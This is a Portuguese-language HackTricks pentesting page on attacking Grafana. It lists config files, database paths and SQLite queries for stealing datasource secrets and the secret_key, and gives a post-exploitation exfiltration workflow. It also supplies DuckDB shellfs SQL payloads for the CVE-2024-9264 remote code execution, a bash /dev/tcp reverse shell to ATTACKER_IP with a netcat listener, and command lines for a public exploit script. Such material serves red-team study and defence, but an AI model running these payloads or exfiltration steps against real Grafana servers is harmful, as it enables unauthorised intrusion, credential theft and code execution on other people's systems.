Grafana
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Coisas interessantes
- A configuração principal geralmente está em
/etc/grafana/grafana.ini(Deb/RPM) e pode conter valores sensíveis comoadmin_user,admin_password,secret_key, configurações OAuth, credenciais SMTP e renderer tokens. - Por padrão o Grafana armazena dados em SQLite3 em
/var/lib/grafana/grafana.db. - Arquivos de provisioning são muito interessantes após obter acesso ao host:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- A expansão de variáveis de ambiente é suportada em arquivos de provisioning, então leaked YAML frequentemente revela tanto secrets quanto os nomes das env vars que os respaldam.
- Plugins instalados geralmente são encontrados em
/var/lib/grafana/plugins. - Dentro da plataforma você pode convidar pessoas, gerar API keys / service account tokens, listar plugins, ou instalar novos plugins dependendo da função.
- O navegador também é loot: Grafana expõe configuração de datasource não-secreta para o frontend. Se você tem uma sessão Viewer (ou anonymous access está habilitado), inspecione
window.grafanaBootDatapelo DevTools.
Verificações úteis em SQLite:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Exfiltrando datasources e segredos
Grafana separa a configuração legível pelo browser dos segredos criptografados:
jsonDataé visível para usuários no browser e é frequentemente suficiente para enumerar hosts internos, tenants, modos de autenticação, nomes de header, regiões AWS, índices Elasticsearch, tenants Loki, URLs do Prometheus e dados de reconhecimento semelhantes.secureJsonDataé criptografado no servidor e não fica mais legível pelo browser depois que o datasource é salvo.
Fluxo de trabalho pós-exploração:
- Fazer dump de
grafana.inie recuperarsecret_key. - Exfiltrar
grafana.dbe arquivos de provisioning. - Enumerar os datasources e a configuração de plugins para encontrar credenciais reutilizáveis e endpoints internos.
- Se migrar ou reproduzir o banco de dados em outra instância do Grafana, mantenha o mesmo
secret_keyou as senhas/tokens armazenados dos datasources não serão descriptografados corretamente.
Por que o secret_key importa em versões mais recentes:
- Desde o Grafana v9, os segredos do banco de dados usam envelope encryption.
- O Grafana criptografa segredos com data encryption keys (DEKs), e esses DEKs são criptografados com uma key encryption key (KEK) derivada de
secret_key. - Do ponto de vista do atacante,
grafana.db+secret_keyé o par que vale a pena roubar.
Superfície de ataque de plugins
Considere os plugins como parte do alvo, não uma nota de rodapé:
- Enumere-os pelo filesystem, pela UI, ou pela API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Plugins antigos ou de terceiros frequentemente ampliam o alcance do Grafana para redes internas porque fazem proxy de requisições HTTP ou interagem com arquivos/bancos de dados locais.
- Exemplos recentes incluem SSRF no plugin Infinity (
< 3.4.1) e caminhos de abuso onde o plugin Image Renderer transforma outro bug em full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
A funcionalidade experimental SQL Expressions do Grafana pode avaliar DuckDB queries que incorporam texto controlado pelo usuário. Sanitização insuficiente permite que atacantes encadeiem instruções DuckDB e carreguem a extensão comunitária shellfs, que expõe comandos shell via arquivos virtuais suportados por pipe.
Impacto
- Qualquer usuário autenticado com VIEWER ou superior pode obter execução de código como o usuário do SO do Grafana (frequentemente grafana; às vezes root dentro de um container) ou realizar leituras de arquivos locais.
- Precondições comumente presentes em implantações reais:
- SQL Expressions habilitado:
expressions.enabled = true duckdbbinary presente no PATH no servidor
Verificações rápidas
- Na UI/API, navegue em Configurações de Admin (Swagger:
/swagger-ui, endpoint/api/admin/settings) para confirmar: expressions.enabledestá true- Opcional: versão, tipos de datasource e configurações gerais de hardening
- Shell no host:
which duckdbdeve resolver para o caminho de exploit abaixo.
Padrão de consulta manual usando DuckDB + shellfs
- Fluxo de abuso (2 queries):
- Instalar e carregar a extensão shellfs, executar um comando, redirecionar a saída combinada para um arquivo temporário via pipe
- Ler o arquivo temporário usando
read_blob
Exemplos de payloads de SQL Expressions que são passados para DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Substitua CMD pelo comando desejado. Para leitura de arquivos (LFI), você pode usar as funções de arquivo do DuckDB para ler arquivos locais.
Exemplo de reverse shell one-liner
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Incorpore isso como CMD na primeira consulta enquanto você tiver um listener: nc -lnvp 443.
PoC automatizado
- PoC público (construído sobre cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Exemplo de uso
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Se a saída mostrar uid=0(root), Grafana está sendo executado como root (comum dentro de alguns containers).
2025 client-side traversal / open redirect chain
A 2025 Grafana client-side traversal e open-redirect chain já estão documentadas em páginas client-side mais genéricas. Use essas técnicas contra caminhos específicos do Grafana, como plugin assets, dashboard script loaders e token-rotation redirects:
Referências
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


